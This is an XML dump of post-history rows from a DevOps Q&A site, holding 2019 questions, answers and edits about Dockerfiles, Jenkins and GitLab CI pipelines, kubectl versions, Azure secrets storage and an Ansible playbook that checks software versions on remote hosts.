  <row Id="23606" PostHistoryTypeId="2" PostId="8125" RevisionGUID="aad5d2bc-d31d-4651-87d3-5c8ae77e40d2" CreationDate="2019-05-13T22:05:07.950" UserId="210" Text="One could use [A2D][1] to bake an app into a docker image while taking certain things into account, e.g. non-root, permissions, location of the app:&#xD;&#xA;&#xD;&#xA;&gt;     docker run -v $PWD:/projectName utrecht/a2d:1.0.0 \&#xD;&#xA;&gt;            -projectName someProjectName -dockerfile /projectName/Dockerfile&#xD;&#xA;&#xD;&#xA;returns:&#xD;&#xA;&#xD;&#xA;&gt;     FROM golang:1.12.4-alpine as builder&#xD;&#xA;&gt;     COPY . ./someProjectName/&#xD;&#xA;&gt;     WORKDIR someProjectName&#xD;&#xA;&gt;     RUN adduser -D -g '' someProjectName &amp;&amp; \&#xD;&#xA;&gt;         apk add git &amp;&amp; \&#xD;&#xA;&gt;         CGO_ENABLED=0 go build &amp;&amp; \&#xD;&#xA;&gt;         cp someProjectName /someProjectName &amp;&amp; \&#xD;&#xA;&gt;         chmod 100 /someProjectName&#xD;&#xA;&gt;     &#xD;&#xA;&gt;     FROM scratch&#xD;&#xA;&gt;     COPY --from=builder /etc/group /etc/group&#xD;&#xA;&gt;     COPY --from=builder /etc/passwd /etc/passwd&#xD;&#xA;&gt;     COPY --from=builder --chown=someProjectName:someProjectName /someProjectName /usr/local/someProjectName&#xD;&#xA;&gt;     COPY --from=builder /etc/ssl/certs/ca-certificates.crt /etc/ssl/certs/&#xD;&#xA;&gt;     USER someProjectName&#xD;&#xA;&gt;     ENTRYPOINT [&quot;/usr/local/someProjectName&quot;]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/030/a2d" ContentLicense="CC BY-SA 4.0" />
  <row Id="23607" PostHistoryTypeId="2" PostId="8126" RevisionGUID="b9580431-a102-465f-8c03-6958d1ea6438" CreationDate="2019-05-13T23:44:26.563" UserId="14923" Text="Try using [GNU Screen](https://www.gnu.org/software/screen/) or [Tmux](https://github.com/tmux/tmux). These are called &quot;screen multiplexers&quot; but you'd get a number of benefits&#xD;&#xA;&#xD;&#xA;1.  The commands you run will continue running even if you disconnect, or you have network related connection drops. Both software allow &quot;re-attaching&quot; to the running session&#xD;&#xA;2.  Command outputs will persist in memory. You can start a long running command, log off, then connect back some time later and see the output of the command.&#xD;&#xA;3.  Save the whole shell session to a file. You can have the log of all the commands you issued, as well as the output you got, in plain text format.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23608" PostHistoryTypeId="2" PostId="8127" RevisionGUID="d090184f-f21b-4340-8982-6a237cefc352" CreationDate="2019-05-14T01:28:01.627" UserId="14903" Text="For the second part, What happens if you make a function and then export it to `~/.bashrc` or `~/ .bash_profile` like the following ?&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;pwdchecker()&#xD;&#xA;{&#xD;&#xA;    for i in $(pwd); do&#xD;&#xA;        printf &quot;$i\n&quot;;&#xD;&#xA;    done&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;or&#xD;&#xA;```&#xD;&#xA;export PS1='$(whoami)@$(hostname):$(pwd)'&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="23609" PostHistoryTypeId="5" PostId="8095" RevisionGUID="0c2c1b0b-4f7d-4af3-ba00-48b539bd8de2" CreationDate="2019-05-14T01:37:03.970" UserId="14903" Comment="removed thanks, fixed format and grammar" Text="I need to run commands on my pipeline during a certain stage, on devices which connected to my Jenkins as slaves.&#xD;&#xA;but I want them to run only when another one finished.&#xD;&#xA;&#xD;&#xA;On the other hand, I want them to run all previous stages before they &quot;wait&quot; for another device to finish.&#xD;&#xA;&#xD;&#xA;What is the best way to implement this lock? again, it is the same job, but different slaves." ContentLicense="CC BY-SA 4.0" />
  <row Id="23610" PostHistoryTypeId="24" PostId="8095" RevisionGUID="0c2c1b0b-4f7d-4af3-ba00-48b539bd8de2" CreationDate="2019-05-14T01:37:03.970" Comment="Proposed by 14903 approved by -1 edit id of 996" ContentLicense="CC BY-SA 4.0" />
  <row Id="23611" PostHistoryTypeId="5" PostId="8095" RevisionGUID="758f35ce-6ae0-4f2d-8efa-48a8c5eba032" CreationDate="2019-05-14T01:37:03.970" UserId="739" Comment="removed thanks, fixed format and grammar" Text="I need to run commands on my pipeline during a certain stage, on devices which connected to my Jenkins as slaves.&#xD;&#xA;But I want them to run only when another one finished.&#xD;&#xA;On the other hand, I want them to run all previous stages before they &quot;wait&quot; for another device to finish.&#xD;&#xA;&#xD;&#xA;What is the best way to implement this lock? Again, it is the same job, but different slaves." ContentLicense="CC BY-SA 4.0" />
  <row Id="23612" PostHistoryTypeId="5" PostId="8127" RevisionGUID="fc9e120e-6e4a-4e23-a71c-b0ead21012ab" CreationDate="2019-05-14T01:56:19.323" UserId="14903" Comment="deleted 93 characters in body" Text="For the second part, What happens if you make a function and then export it to `~/.bashrc` or `~/ .bash_profile` or export PS1&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;export PS1='$(whoami)@$(hostname):$(pwd)'&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="23613" PostHistoryTypeId="5" PostId="8127" RevisionGUID="153f7767-15cf-42e8-bcc6-24992f2123ad" CreationDate="2019-05-14T02:15:22.953" UserId="739" Comment="deleted 36 characters in body" Text="For the second part, what happens if you `export PS1` in `~/.bashrc` or `~/ .bash_profile`&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;export PS1='$(whoami)@$(hostname):$(pwd)'&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="23614" PostHistoryTypeId="5" PostId="8101" RevisionGUID="1a14987c-ed88-4624-b0ef-5e37920cafe6" CreationDate="2019-05-14T02:34:23.703" UserId="14903" Comment="Grammar improved" Text="I am running a CI/CD pipeline that builds my service and ends with `docker-compose up -d` which brings up the service with a new docker image tag (`my-service:tag1`).&#xD;&#xA;&#xD;&#xA;But when I look at `docker ps -a` the previous container (that was running image `service:tag0`) does not appear anymore, and I cannot access its logs.&#xD;&#xA;&#xD;&#xA;Why does docker-compose remove the previous container?&#xD;&#xA;&#xD;&#xA;Is there a way to see the logs of the previous containers? " ContentLicense="CC BY-SA 4.0" />
  <row Id="23615" PostHistoryTypeId="24" PostId="8101" RevisionGUID="1a14987c-ed88-4624-b0ef-5e37920cafe6" CreationDate="2019-05-14T02:34:23.703" Comment="Proposed by 14903 approved by 40, 46 edit id of 992" ContentLicense="CC BY-SA 4.0" />
  <row Id="23618" PostHistoryTypeId="2" PostId="8128" RevisionGUID="45608464-9d00-4db2-90cd-6012b8290ff0" CreationDate="2019-05-14T03:35:23.607" UserId="14924" Text="As per https://kubernetes.io/docs/tasks/tools/install-kubectl/#before-you-begin&#xD;&#xA;&#xD;&#xA;&gt;You must use a kubectl version that is within one minor version difference of your &gt;cluster. For example, a v1.2 client should work with v1.1, v1.2, and v1.3 master. &gt;Using the latest version of kubectl helps avoid unforeseen issues.&#xD;&#xA;&#xD;&#xA;So you need to either downgrade your kubectl version or upgrade your &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23619" PostHistoryTypeId="2" PostId="8129" RevisionGUID="87bef531-f4ec-40aa-8a76-01264bdef777" CreationDate="2019-05-14T05:29:31.670" UserId="14926" Text="    pip install --upgrade ansible-lint&gt;=4.1.0&#xD;&#xA;&#xD;&#xA;Rule 405 has been dropped following the discussion in https://github.com/ansible/ansible-lint/issues/456" ContentLicense="CC BY-SA 4.0" />
  <row Id="23630" PostHistoryTypeId="50" PostId="5743" RevisionGUID="57772303-bc6e-4abe-a6ce-0ed7124f2f92" CreationDate="2019-05-14T14:02:45.537" UserId="-1" />
  <row Id="23639" PostHistoryTypeId="2" PostId="8133" RevisionGUID="a16a37cd-6561-4488-8ea9-2f9dc3b45d33" CreationDate="2019-05-14T18:31:43.777" UserId="3599" Text="I'm trying to install additional software but `apt-get` is not available.&#xD;&#xA;&#xD;&#xA;So in my `.gitlab-ci.yml` file I have:&#xD;&#xA;&#xD;&#xA;`image: docker:stable`&#xD;&#xA;&#xD;&#xA;What is the image based off from?  " ContentLicense="CC BY-SA 4.0" />
  <row Id="23640" PostHistoryTypeId="1" PostId="8133" RevisionGUID="a16a37cd-6561-4488-8ea9-2f9dc3b45d33" CreationDate="2019-05-14T18:31:43.777" UserId="3599" Text="What package manager does the gitlab docker CI image use?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23641" PostHistoryTypeId="3" PostId="8133" RevisionGUID="a16a37cd-6561-4488-8ea9-2f9dc3b45d33" CreationDate="2019-05-14T18:31:43.777" UserId="3599" Text="&lt;docker&gt;&lt;gitlab&gt;&lt;gitlab-ci-runner&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23642" PostHistoryTypeId="2" PostId="8134" RevisionGUID="9fef000a-e867-4b07-972d-eef9f49c010e" CreationDate="2019-05-14T18:35:49.217" UserId="3599" Text="https://hub.docker.com/_/docker/&#xD;&#xA;&#xD;&#xA;Seems it's just a reference to the above... Which uses APK as the package manager " ContentLicense="CC BY-SA 4.0" />
  <row Id="23643" PostHistoryTypeId="2" PostId="8135" RevisionGUID="789ccb43-a282-4e28-81d7-919b72ae25a4" CreationDate="2019-05-14T22:01:21.667" UserId="14940" Text="We are planning to use below &#xD;&#xA;&#xD;&#xA;**Secrets**  - [Azure Key-Vault][1]&#xD;&#xA;              &#xD;&#xA;&#xD;&#xA; - Master Key rotation for [Always Encrypted][2] columns&#xD;&#xA; - Certificate Store (can easily write a provider in .NET)&#xD;&#xA; - Sensitive items like **connection&#xD;&#xA;   strings** (hiding other resource info), passwords etc.&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;**Configurations** - [Azure App Configurations][3] (still in preview)                     &#xD;&#xA;&#xD;&#xA; - Watch is a wonderful method for service discovery especially if you&#xD;&#xA;   need to update flags or values for operational uses.&#xD;&#xA; - No need to re-initiate a container or instance. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://azure.microsoft.com/en-us/services/key-vault/&#xD;&#xA;  [2]: https://docs.microsoft.com/en-us/azure/sql-database/sql-database-always-encrypted-azure-key-vault&#xD;&#xA;  [3]: https://docs.microsoft.com/en-us/azure/azure-app-configuration/" ContentLicense="CC BY-SA 4.0" />
  <row Id="23644" PostHistoryTypeId="2" PostId="8136" RevisionGUID="86555b99-56c0-4fd6-b963-c3bac1012441" CreationDate="2019-05-14T22:08:14.713" UserId="14941" Text="The variable must be defined in a `script` section.&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;        agent none&#xD;&#xA;        stages {&#xD;&#xA;            stage(&quot;first&quot;) {&#xD;&#xA;                script {&#xD;&#xA;                     foo = &quot;bar&quot;&#xD;&#xA;                }&#xD;&#xA;                sh &quot;echo ${foo}&quot;&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }" ContentLicense="CC BY-SA 4.0" />
  <row Id="23645" PostHistoryTypeId="2" PostId="8137" RevisionGUID="18070cc0-f255-49e7-af13-3daa1f17aeb3" CreationDate="2019-05-14T22:24:25.530" UserId="14941" Text="Some credential types cannot be bound directly in an environment section. [From the docs][1] : &#xD;&#xA;&#xD;&#xA;&gt; If you need to set credentials in a Pipeline for anything other than secret text, usernames and passwords, or secret files - i.e SSH keys or certificates, then use Jenkins' Snippet Generator feature, which you can access through Jenkins' classic UI.&#xD;&#xA;&#xD;&#xA;So the generator would give you something looking like this:&#xD;&#xA;&#xD;&#xA;    withCredentials([certificate(aliasVariable: '', credentialsId: 'myCert', keystoreVariable: 'CERT', passwordVariable: '')]) {&#xD;&#xA;        // some block&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;  [1]: https://jenkins.io/doc/book/pipeline/jenkinsfile/#handling-credentials" ContentLicense="CC BY-SA 4.0" />
  <row Id="23646" PostHistoryTypeId="2" PostId="8138" RevisionGUID="8791a961-e397-43fc-9e64-f5c707f3881e" CreationDate="2019-05-15T01:23:49.907" UserId="14942" Text="I have some Codeigniter projects on some domains (on the same server) and the projects already in the git , &#xD;&#xA;&#xD;&#xA;how should i do when i push to git then on the server get new update from git repository ?  &#xD;&#xA;&#xD;&#xA;Anyone can explain me step by step ?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23647" PostHistoryTypeId="1" PostId="8138" RevisionGUID="8791a961-e397-43fc-9e64-f5c707f3881e" CreationDate="2019-05-15T01:23:49.907" UserId="14942" Text="Auto Deploy after push to git" ContentLicense="CC BY-SA 4.0" />
  <row Id="23648" PostHistoryTypeId="3" PostId="8138" RevisionGUID="8791a961-e397-43fc-9e64-f5c707f3881e" CreationDate="2019-05-15T01:23:49.907" UserId="14942" Text="&lt;git&gt;&lt;gitlab&gt;&lt;continuous-deployment&gt;&lt;continuous-delivery&gt;&lt;cicd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23649" PostHistoryTypeId="50" PostId="6555" RevisionGUID="7bb4f5d9-d3f8-4de0-b508-9f506ce42b6b" CreationDate="2019-05-15T03:03:20.597" UserId="-1" />
  <row Id="23650" PostHistoryTypeId="50" PostId="6445" RevisionGUID="d7c4d49c-2d02-454c-8809-f04c492f7ff6" CreationDate="2019-05-15T04:06:56.193" UserId="-1" />
  <row Id="23652" PostHistoryTypeId="50" PostId="5385" RevisionGUID="d64aef3c-3f9b-4a0e-ac3d-abbf4ea55747" CreationDate="2019-05-15T07:02:50.643" UserId="-1" />
  <row Id="23653" PostHistoryTypeId="50" PostId="6539" RevisionGUID="756270cf-df91-482a-9205-a86feba70f17" CreationDate="2019-05-15T11:01:40.393" UserId="-1" />
  <row Id="23654" PostHistoryTypeId="50" PostId="5437" RevisionGUID="d88f98d4-f4e4-4a18-bfd2-3f7b2e46fb8b" CreationDate="2019-05-15T12:01:11.740" UserId="-1" />
  <row Id="23658" PostHistoryTypeId="50" PostId="6864" RevisionGUID="8b81e1c7-0de7-4638-9046-1b39d35b1089" CreationDate="2019-05-15T14:02:10.650" UserId="-1" />
  <row Id="23662" PostHistoryTypeId="2" PostId="8141" RevisionGUID="9a4542fa-323e-40d7-bd5b-9dda53d23168" CreationDate="2019-05-15T17:20:32.327" UserId="10466" Text="I found exactly what I was looking for- &#xD;&#xA;&#xD;&#xA;[Jenkins plugin] (https://wiki.jenkins.io/display/JENKINS/Lockable+Resources+Plugin)&#xD;&#xA;&#xD;&#xA;Which let you create a lock between, slaves , different jobs and more..&#xD;&#xA;&#xD;&#xA;(in contrast to the plugin description)" ContentLicense="CC BY-SA 4.0" />
  <row Id="23666" PostHistoryTypeId="50" PostId="6350" RevisionGUID="07613b39-2ee6-42f6-b0f8-f678dbedca6d" CreationDate="2019-05-15T19:02:20.423" UserId="-1" />
  <row Id="23674" PostHistoryTypeId="2" PostId="8146" RevisionGUID="b0b9b5fd-beb0-40f1-9126-920c8cf89e48" CreationDate="2019-05-16T05:46:23.403" UserId="12376" Text="I can build from a specific old tag in teamity.&#xD;&#xA;Screenshot:&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;How to run a build from a specific old tag in gitlab ci?&#xD;&#xA;&#xD;&#xA;    variables:&#xD;&#xA;      MAVEN_OPTS: &quot;-Djava.awt.headless=true -Dmaven.repo.local=.m2/repository&quot;&#xD;&#xA;      MAVEN_CLI_OPTS: &quot;-s maven_settings.xml --batch-mode --errors --fail-at-end --show-version&quot;&#xD;&#xA;    &#xD;&#xA;    stages:&#xD;&#xA;      - build&#xD;&#xA;      - release&#xD;&#xA;      - build-tag&#xD;&#xA;    &#xD;&#xA;    build:&#xD;&#xA;      stage: build&#xD;&#xA;      script:&#xD;&#xA;        - mvn $MAVEN_CLI_OPTS -Dmaven.test.skip=true clean install -PRPM -U&#xD;&#xA;    &#xD;&#xA;    release:&#xD;&#xA;      stage: release&#xD;&#xA;      script:&#xD;&#xA;        - eval $(ssh-agent)&#xD;&#xA;        - ssh-add &lt;(echo &quot;$SSH_PRIVATE_KEY&quot;)&#xD;&#xA;        - git config user.name &quot;$PUSH_USER_NAME&quot;&#xD;&#xA;        - git config user.email &quot;$PUSH_USER_EMAIL&quot;&#xD;&#xA;        - git checkout master&#xD;&#xA;        - git reset --hard origin/master&#xD;&#xA;        - mvn $MAVEN_CLI_OPTS clean release:prepare -Dresume=false -DautoVersionSubmodules=true -DdryRun=false -Dmaven.test.skip=true&#xD;&#xA;      when: manual&#xD;&#xA;    &#xD;&#xA;    build-tag:&#xD;&#xA;      stage: build-tag&#xD;&#xA;      script:&#xD;&#xA;        - git checkout master&#xD;&#xA;        - git pull&#xD;&#xA;        - git reset --hard $(git describe --abbrev=0 --tags)&#xD;&#xA;        - mvn $MAVEN_CLI_OPTS -Dmaven.test.skip=true clean install -PRPM -U&#xD;&#xA;      when: manual&#xD;&#xA;&#xD;&#xA;build-tag i dont see in pipeline&#xD;&#xA;&#xD;&#xA;How to run a build from a specific old tag in gitlab ci?&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/WTdwR.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/sZZcB.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="23675" PostHistoryTypeId="1" PostId="8146" RevisionGUID="b0b9b5fd-beb0-40f1-9126-920c8cf89e48" CreationDate="2019-05-16T05:46:23.403" UserId="12376" Text="How to run a build from a specific old tag in gitlab ci?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23676" PostHistoryTypeId="3" PostId="8146" RevisionGUID="b0b9b5fd-beb0-40f1-9126-920c8cf89e48" CreationDate="2019-05-16T05:46:23.403" UserId="12376" Text="&lt;gitlab&gt;&lt;maven&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23677" PostHistoryTypeId="2" PostId="8147" RevisionGUID="f3eb6cbe-51e5-4329-a611-4804d6348a0a" CreationDate="2019-05-16T06:29:08.073" UserId="14967" Text="This response is for &#xD;&#xA;Kernel: Linux 4.4.132-1075-rockchip-ayufan-ga83beded8524&#xD;&#xA;Architecture: aarch64 aarch64 aarch64 GNU/Linux&#xD;&#xA;&#xD;&#xA;I had the same issue when issuing commands to a cluster in swarm mode. &#xD;&#xA;&#xD;&#xA;Running `docker info` would result in `Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?`&#xD;&#xA;&#xD;&#xA;Running `sudo systemctl start docker` would result in a failed service state and output reading &#xD;&#xA;```&#xD;&#xA;Job for docker.service failed because the control process exited with error code.&#xD;&#xA;See &quot;systemctl status docker.service&quot; and &quot;journalctl -xe&quot; for details.&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Running `systemctl status docker.service` would result in&#xD;&#xA;```&#xD;&#xA;docker.service - Docker Application Container Engine&#xD;&#xA;   Loaded: loaded (/lib/systemd/system/docker.service; enabled; vendor preset: enabled)&#xD;&#xA;   Active: failed (Result: exit-code) since Thu 2019-05-16 06:03:46 UTC; 1min 12s ago&#xD;&#xA;     Docs: https://docs.docker.com&#xD;&#xA;  Process: 3874 ExecStart=/usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock (cod&#xD;&#xA; Main PID: 3874 (code=exited, status=2)&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Running `journalctl -xe` wouldn't result in any information related to docker &#xD;&#xA;&#xD;&#xA;Running `sudo dockerd -D` would result in lots of output with a certain line reading&#xD;&#xA;`error=&quot;name conflicts with an existing object&quot; module=node node.id=105rworelt1fvw9ttjhnf61aw`&#xD;&#xA;&#xD;&#xA;Looking in `/var/lib/docker` there is a folder called `swarm` and doing a grep on all files and folders in the swarm directory for the &#xD;&#xA;string `105rworelt1fvw9ttjhnf61aw` came up with two files with the string `105rworelt1fvw9ttjhnf61aw` in them.&#xD;&#xA;sudo grep -r &quot;105rworelt1fvw9ttjhnf61aw&quot; /var/lib/docker/swarm/&#xD;&#xA;&#xD;&#xA;Those two files were `/var/lib/docker/swarm/.tmp-state.json504201306` and `/var/lib/docker/swarm/state.json`&#xD;&#xA;&#xD;&#xA;At this point I wasn't feeling very surgical so I removed all files and folders under the `/var/lib/docker/swarm` and then tried `sudo systemctl start docker` again&#xD;&#xA;```&#xD;&#xA;A bit surgical: sudo rm -ri /var/lib/docker/swarm/&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Note: Don't delete the `swarm` directory. If you do just create it again.&#xD;&#xA;&#xD;&#xA;After this a `docker info` would work and I was able to `docker swarm init` again and deploy a stack without issues&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23678" PostHistoryTypeId="2" PostId="8148" RevisionGUID="0949952d-ccdc-43b6-91bc-beca1bdd8c64" CreationDate="2019-05-16T07:41:42.323" UserId="14969" Text="Within the project&#xD;&#xA;&#xD;&#xA;* go to *CI / CD* -&gt; *Pipelines*&#xD;&#xA;* press *Run Pipeline*&#xD;&#xA;* under _Create for_ choose the branch or tag you want to run the pipeline for&#xD;&#xA;* press *Create Pipeline*&#xD;&#xA;&#xD;&#xA;Now to trigger a manual Job you can use the jobs of the recently created pipeline." ContentLicense="CC BY-SA 4.0" />
  <row Id="23683" PostHistoryTypeId="50" PostId="6868" RevisionGUID="6ebad5a7-ca08-4dc0-9c5b-03963e5755bf" CreationDate="2019-05-16T10:03:10.657" UserId="-1" />
  <row Id="23690" PostHistoryTypeId="2" PostId="8150" RevisionGUID="aaba9d04-005a-4008-a99c-80bfc8524257" CreationDate="2019-05-16T19:35:59.853" UserId="14958" Text="First post on this forum: &#xD;&#xA;&#xD;&#xA;Goal: Skip the host if version of custom software (non-rpm based) installed at remote host is greater than or equal to software version intended for upgrade.&#xD;&#xA;For all intents and purposes, this playbook (underneath) works well. &#xD;&#xA;&#xD;&#xA;Questions :&#xD;&#xA;&#xD;&#xA;1. How to formulate the code to get rid of [DEPRECATION WARNING] during runtime? &#xD;&#xA;&#xD;&#xA;2. Is there are better way to apply the same logic?&#xD;&#xA;```bash&#xD;&#xA;   ansible --version&#xD;&#xA;    ansible 2.7.10&#xD;&#xA;    python version = 2.7.5 &#xD;&#xA;```&#xD;&#xA;```bash&#xD;&#xA;#Remote software version&#xD;&#xA;cat /path/to/version_file.txt&#xD;&#xA;FullVersion=12.52.105.2112&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;#Playbook Install/upgrades firmare on remote nodes&#xD;&#xA;#&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;- hosts: &quot;RedHat_7_nodes&quot;&#xD;&#xA;  remote_user: test_user&#xD;&#xA;  connection: ssh&#xD;&#xA;  gather_facts: '{{ gather }}'&#xD;&#xA;&#xD;&#xA;# Next Section - Variables&#xD;&#xA;&#xD;&#xA;  vars_prompt:&#xD;&#xA;&#xD;&#xA;    - name: EXPECTED_REMOTE_SOFTWARE_VERSION&#xD;&#xA;      prompt: What is expected version of Software? (If remote server is already at that level, this playbook will skip it)&#xD;&#xA;      private: no&#xD;&#xA;&#xD;&#xA;  tasks:&#xD;&#xA;&#xD;&#xA;   - name: Check if the remote Software version is below &quot;{{ EXPECTED_REMOTE_SOFTWARE_VERSION }}&quot;&#xD;&#xA;     shell: grep FullVersion /path/to/version_file.txt  | awk -F = '{print $2}'&#xD;&#xA;     check_mode: no&#xD;&#xA;     register: CURRENT_INSTALLED_VERSION&#xD;&#xA;&#xD;&#xA;   - debug:&#xD;&#xA;       msg: &quot;{{ CURRENT_INSTALLED_VERSION }}&quot;&#xD;&#xA;   - meta: end_play&#xD;&#xA;     when: CURRENT_INSTALLED_VERSION.stdout | version(EXPECTED_REMOTE_SOFTWARE_VERSION,'&gt;=')&#xD;&#xA;&#xD;&#xA;   - name: Run the binary and upgrade since the installed version is lower than intended software version&#xD;&#xA;     shell: echo &quot;Run the binary and upgrade since the installed version is lower than intended software version &quot;&#xD;&#xA;     check_mode: no&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;#Runtime 1. Expected version is lower than installed version. Skip this host. No upgrade.&#xD;&#xA;&#xD;&#xA;14:36:32-ram@thinkred1cartoon:~/Dropbox/Ansible/version_check$ ansible-playbook WebAgent_Install.yml -i Global_hosts_inventory.txt --extra-vars &quot;gather=yes&quot;&#xD;&#xA;What is expected version of Software? (If remote server is already at that level, this playbook will skip it): 12.52.105.2111&#xD;&#xA;&#xD;&#xA;PLAY [RedHat_7_nodes] ************************************************************************************************************************************************************************&#xD;&#xA;&#xD;&#xA;TASK [Gathering Facts] ***********************************************************************************************************************************************************************&#xD;&#xA;ok: [joker7.cartoon.biz]&#xD;&#xA;&#xD;&#xA;TASK [Check if the remote Software version is below &quot;12.52.105.2111&quot;] ************************************************************************************************************************&#xD;&#xA;changed: [joker7.cartoon.biz]&#xD;&#xA;&#xD;&#xA;TASK [debug] *********************************************************************************************************************************************************************************&#xD;&#xA;ok: [joker7.cartoon.biz] =&gt; {&#xD;&#xA;    &quot;msg&quot;: {&#xD;&#xA;        &quot;changed&quot;: true,&#xD;&#xA;        &quot;cmd&quot;: &quot;grep FullVersion /path/to/version_file.txt | awk -F = '{print $2}'&quot;,&#xD;&#xA;        &quot;delta&quot;: &quot;0:00:00.013802&quot;,&#xD;&#xA;        &quot;end&quot;: &quot;2019-05-16 14:37:00.635365&quot;,&#xD;&#xA;        &quot;failed&quot;: false,&#xD;&#xA;        &quot;rc&quot;: 0,&#xD;&#xA;        &quot;start&quot;: &quot;2019-05-16 14:37:00.621563&quot;,&#xD;&#xA;        &quot;stderr&quot;: &quot;&quot;,&#xD;&#xA;        &quot;stderr_lines&quot;: [],&#xD;&#xA;        &quot;stdout&quot;: &quot;12.52.105.2112&quot;,&#xD;&#xA;        &quot;stdout_lines&quot;: [&#xD;&#xA;            &quot;12.52.105.2112&quot;&#xD;&#xA;        ]&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;[DEPRECATION WARNING]: Using tests as filters is deprecated. Instead of using `result|version` use `result is version`. This feature will be removed in version 2.9. Deprecation warnings can&#xD;&#xA; be disabled by setting deprecation_warnings=False in ansible.cfg.&#xD;&#xA;&#xD;&#xA;PLAY RECAP ***********************************************************************************************************************************************************************************&#xD;&#xA;joker7.cartoon.biz         : ok=3    changed=1    unreachable=0    failed=0&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;#Runtime - 2. Expected version is higher than installed version. Upgrade.&#xD;&#xA;&#xD;&#xA;14:35:30-ram@thinkred1cartoon:~/Dropbox/Ansible/version_check$ ansible-playbook WebAgent_Install.yml -i Global_hosts_inventory.txt --extra-vars &quot;gather=yes&quot;&#xD;&#xA;What is expected version of Software? (If remote server is already at that level, this playbook will skip it) [12.52.105.2112]: 12.52.105.2113&#xD;&#xA;&#xD;&#xA;PLAY [RedHat_7_nodes] ************************************************************************************************************************************************************************&#xD;&#xA;&#xD;&#xA;TASK [Gathering Facts] ***********************************************************************************************************************************************************************&#xD;&#xA;ok: [joker7.cartoon.biz]&#xD;&#xA;&#xD;&#xA;TASK [Check if the remote Software version is below &quot;12.52.105.2113&quot;] ************************************************************************************************************************&#xD;&#xA;changed: [joker7.cartoon.biz]&#xD;&#xA;&#xD;&#xA;TASK [debug] *********************************************************************************************************************************************************************************&#xD;&#xA;ok: [joker7.cartoon.biz] =&gt; {&#xD;&#xA;    &quot;msg&quot;: {&#xD;&#xA;        &quot;changed&quot;: true,&#xD;&#xA;        &quot;cmd&quot;: &quot;grep FullVersion /path/to/version_file.txt | awk -F = '{print $2}'&quot;,&#xD;&#xA;        &quot;delta&quot;: &quot;0:00:00.013155&quot;,&#xD;&#xA;        &quot;end&quot;: &quot;2019-05-16 14:35:49.364318&quot;,&#xD;&#xA;        &quot;failed&quot;: false,&#xD;&#xA;        &quot;rc&quot;: 0,&#xD;&#xA;        &quot;start&quot;: &quot;2019-05-16 14:35:49.351163&quot;,&#xD;&#xA;        &quot;stderr&quot;: &quot;&quot;,&#xD;&#xA;        &quot;stderr_lines&quot;: [],&#xD;&#xA;        &quot;stdout&quot;: &quot;12.52.105.2112&quot;,&#xD;&#xA;        &quot;stdout_lines&quot;: [&#xD;&#xA;            &quot;12.52.105.2112&quot;&#xD;&#xA;        ]&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;[DEPRECATION WARNING]: Using tests as filters is deprecated. Instead of using `result|version` use `result is version`. This feature will be removed in version 2.9. Deprecation warnings can&#xD;&#xA; be disabled by setting deprecation_warnings=False in ansible.cfg.&#xD;&#xA;&#xD;&#xA;TASK [Run the binary and upgrade since the installed version is lower than intended software version] ****************************************************************************************&#xD;&#xA;changed: [joker7.cartoon.biz]&#xD;&#xA;&#xD;&#xA;PLAY RECAP ***********************************************************************************************************************************************************************************&#xD;&#xA;joker7.cartoon.biz         : ok=4    changed=2    unreachable=0    failed=0&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23691" PostHistoryTypeId="1" PostId="8150" RevisionGUID="aaba9d04-005a-4008-a99c-80bfc8524257" CreationDate="2019-05-16T19:35:59.853" UserId="14958" Text="Ansible to check version of custom software on remote hosts before install/upgrade" ContentLicense="CC BY-SA 4.0" />
  <row Id="23692" PostHistoryTypeId="3" PostId="8150" RevisionGUID="aaba9d04-005a-4008-a99c-80bfc8524257" CreationDate="2019-05-16T19:35:59.853" UserId="14958" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
